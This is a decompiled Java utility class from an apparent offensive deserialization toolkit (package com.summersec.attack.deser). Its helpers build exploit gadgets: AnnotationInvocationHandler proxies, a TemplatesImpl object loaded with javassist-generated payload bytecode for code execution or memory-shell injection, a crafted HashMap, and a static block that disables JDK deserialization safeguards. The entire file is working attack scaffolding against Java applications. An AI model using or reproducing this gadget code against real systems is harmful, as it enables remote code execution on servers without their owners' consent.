content: //
  // Source code recreated from a .class file by IntelliJ IDEA
  // (powered by Fernflower decompiler)
  //
  
  package com.summersec.attack.deser.util;
  
  import com.summersec.attack.deser.echo.EchoPayload;
  import com.summersec.attack.deser.echo.EchoPayload.Utils;
  import com.summersec.attack.deser.plugins.InjectPayload;
  import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  
  import java.io.File;
  import java.io.FileOutputStream;
  import java.lang.reflect.Array;
  import java.lang.reflect.Constructor;
  import java.lang.reflect.Field;
  import java.lang.reflect.InvocationHandler;
  import java.lang.reflect.InvocationTargetException;
  import java.lang.reflect.Proxy;
  import java.util.HashMap;
  import java.util.Map;
  import javassist.ClassPool;
  import javassist.CtClass;
  
  public class Gadgets {
      public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
  
      public Gadgets() {
      }
  
      public static <T> T createMemoitizedProxy(Map<String, Object> map, Class<T> iface, Class<?>... ifaces) throws Exception {
          return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
      }
  
      public static InvocationHandler createMemoizedInvocationHandler(Map<String, Object> map) throws Exception {
          return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map);
      }
  
      public static <T> T createProxy(InvocationHandler ih, Class<T> iface, Class<?>... ifaces) {
          Class<?>[] allIfaces = (Class[])((Class[])Array.newInstance(Class.class, ifaces.length + 1));
          allIfaces[0] = iface;
          if (ifaces.length > 0) {
              System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
          }
  
          return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
      }
  
      public static Map<String, Object> createMap(String key, Object val) {
          Map<String, Object> map = new HashMap();
          map.put(key, val);
          return map;
      }
  
      public static Object createTemplatesImpl(String classpayload,String payloadskey) throws Exception {
          return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(classpayload, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),payloadskey) : createTemplatesImpl(classpayload, TemplatesImpl.class, AbstractTranslet.class,payloadskey);
      }
  
      public static <T> T createTemplatesImpl(String payload, Class<T> tplClass, Class<?> abstTranslet,String payloadskey) throws Exception {
          T templates = tplClass.newInstance();
          ClassPool pool = ClassPool.getDefault();
          CtClass clazz;
          if(payloadskey!=null && !payloadskey.equals("")){
              Class<? extends InjectPayload> echoClazz = com.summersec.attack.deser.plugins.InjectPayload.Utils.getPayloadClass(payload);
              InjectPayload<?> echoObj = (InjectPayload)echoClazz.newInstance();
              clazz = echoObj.genPayload(pool,payloadskey);
          }
          else{
              Class<? extends EchoPayload> echoClazz = Utils.getPayloadClass(payload);
              EchoPayload<?> echoObj = (EchoPayload)echoClazz.newInstance();
              clazz = echoObj.genPayload(pool);
          }
  
          CtClass superClass = pool.get(abstTranslet.getName());
          clazz.setSuperclass(superClass);
          byte[] classBytes = clazz.toBytecode();
          Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes");
          bcField.setAccessible(true);
          bcField.set(templates, new byte[][]{classBytes});
          Field nameField = TemplatesImpl.class.getDeclaredField("_name");
          nameField.setAccessible(true);
          nameField.set(templates, "a");
          return templates;
      }
  
      public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
          HashMap s = new HashMap();
          Reflections.setFieldValue(s, "size", 2);
  
          Class nodeC;
          try {
              nodeC = Class.forName("java.util.HashMap$Node");
          } catch (ClassNotFoundException var6) {
              nodeC = Class.forName("java.util.HashMap$Entry");
          }
  
          Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);
          Reflections.setAccessible(nodeCons);
          Object tbl = Array.newInstance(nodeC, 2);
          Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
          Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
          Reflections.setFieldValue(s, "table", tbl);
          return s;
      }
  
      static {
          System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true");
          System.setProperty("java.rmi.server.useCodebaseOnly", "false");
      }
  }
  